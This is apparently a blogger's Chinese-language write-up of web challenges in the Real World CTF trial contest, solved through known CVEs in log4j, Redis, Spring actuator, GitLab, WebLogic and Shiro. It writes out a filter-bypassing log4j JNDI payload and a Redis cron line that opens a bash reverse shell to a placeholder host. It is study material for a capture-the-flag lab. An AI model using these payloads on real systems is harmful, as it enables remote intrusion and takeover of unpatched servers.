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周末打了一下Real World CTF体验赛，据说难度比正赛降简单很多，比赛时间连续24小时，赛题类型涵盖
Web/Pwn/Crypto/Reverse/Blockchain/Virtual Machine/Browser/IoT/Kernel 等等。
但是本次比赛解题方式和一般CTF不太一样，基本上都是通过CVE漏洞GETshell，与实战更为贴近。
本次比赛做的题都是Web题，简单记录一下，加深学习。如有问题请各位大佬指教。
本次比赛环境需要先访问指定端口，进行PoW（工作量证明），服务端给出Hash值前几位，需要在一定时间内提交满足条件的
明文。比赛方给了参考的PoW脚本，参数跟上指定端口跑一下就行，成功之后会给你一个新的端口，访问这个端口即可进入比
赛题目。注意的是每次生成心得环境存活时间600s，经常做着做着环境就挂了。。。重新跑一下就可以了。

Digital Souvenir
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签到题，「解出赛题的战队」和「直播间参与互动的观众」，可以领取Real World CTF赛事定制的数字纪念品，去数字纪念品相
关介绍页面，找到flag提交即可。

log4flag

看到题目名称就猜想到应该是log4j的RCE漏洞，打开题目是一个登录框：



试着构造一下exp：
${jndi:ldap://xx.xx.xx.xx:xx/}

发现返回参数错误，以 admin/admin登录，返回登录失败，猜想可能过滤了关键字符，经过多次尝试发现过滤的

是 jndi和 ldap关键字。

或者下载题目附件，通过反编译查看代码，也可得知过滤器的过滤逻辑：

那么就需要进行过滤规则的绕过，采用lower case即可绕过：
${${lower:j}ndi:${lower:l}dap://xx.xx.xx.xx/}

vps起ldap和http服务：

即可拿到flag：

Be-a-Database-Hacker

这道题查看dockerfile文件，可以得知以下几点：

1. 本题环境是一个redis服务，且版本号位4.0.14

2. flag文件存放在 /tmp/flag.txt

3. redis服务是以redis用户启动的，即非root用户

FROM redis:4.0.14
COPY flag.txt /tmp/flag.txt
RUN chown redis:redis /tmp/flag.txt



通过redis-client可以直接成功连接，存在redis的未授权访问，但没有其他可用的信息。
redis的未授权访问漏洞，常见利用方式有以下几种，这里总结一下：

1. 写计划任务

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xx.xx.xx.xx/xxxx 0>&1\n\n"
config set dir "/var/spool/cron"
config set dbfilename root
save

但是更改本地存放目录 dir时失败，因为redis服务是以非root用户启动的，权限不够。
2. 写ssh公钥

config set dir /root/.ssh
config set dbfilename authorized_keys

同样更改本地存放目录失败，权限不够。

3. 写webshell
就没有web服务，上哪写webshell�。
4. 主从复制

最后考虑主从复制，基于Redis主从复制的机制，可以通过FULLRESYNC将任意文件同步到从节点。
查了一下资料，在Reids 4.x之后，Redis新增了模块功能，通过外部拓展，可以实现在Redis中实现一个新的Redis命令，通过写
C语言编译并加载恶意的.so文件，达到代码执行的目的。
成功getshell。

the Secrets of Memory

查看配置文件，得知mysql账户的密码就是flag：

spring.datasource.url=jdbc:mysql://127.0.0.1:3306/flag?useUnicode=true&characterEncoding=utf-8
spring.datasource.username=the_datasource_password_is_flag
spring.datasource.password=this_is_flag



通过页面判断是Spring Boot应用，尝试actuator配置不当的漏洞，可以成功访问 /actuator页面，这道以及后面的题都忘了截图

了，没图�​。
然后接着找到 /actuator/heapdump路径，得到 GZip 压缩 hprof 堆转储文件。
用内存分析工具打开分析，找到flag：

baby flaglab

访问网站，是一个Gitlab网站，查看配置文件，得知服务版本。

FROM gitlab/gitlab-ce:13.10.1-ce.0

因为配置文件里给了flag的位置，开始以为是任意文件读取漏洞（CVE-2020-10977），所以尝试注册账号，但需要管理员审
批。

管理员账号不可爆破，也不是默认口令。所以后面改变思路，寻找不需要登录用户的RCE漏洞，根据题目提示没有对图像上传
进行严格校验（开始被误导，还以为是文件上传漏洞），定位到GitLab 远程命令执行漏洞（CVE-2021-22205）。
该漏洞是由于GitLab存在未授权的端点，导致该漏洞在无需进行身份验证的情况下即可进行利用，由于GitLab中的ExifTool没有
对传入的图像文件的扩展名进行正确处理，攻击者通过上传特制的恶意图片，可以在目标服务器上执行任意命令。

没图�​。

Flag Console

通过页面判断是Weblogic应用，访问发现存在后台控制管理端，爆破弱口令失败，猜想是通过某个CVE打，结合题目名称
Console寻找合适的漏洞。
最终定位到CVE-2020-14882这个洞打，CVE-2020-14882 是一个 Console 的未授权访问，而 CVE-2020-14882 是在利用未授
权访问的前提下，在 Console 进行代码执行，于是远程攻击者可以构造特殊的 HTTP 请求，在未经身份验证的情况下接管
WebLogic Server Console ，并在 WebLogic Server Console 执行任意代码。

Ghost Shiro

以上题目做完基本上一天了，后来就没看了。。第二天早上起来简单看了一下这道题，但是时间不够了，大概看了一下配置文件

可以读到shiro的key，然后通过shiro反序列化漏洞RCE，我的思路是这样，但是时间到了没来及试。
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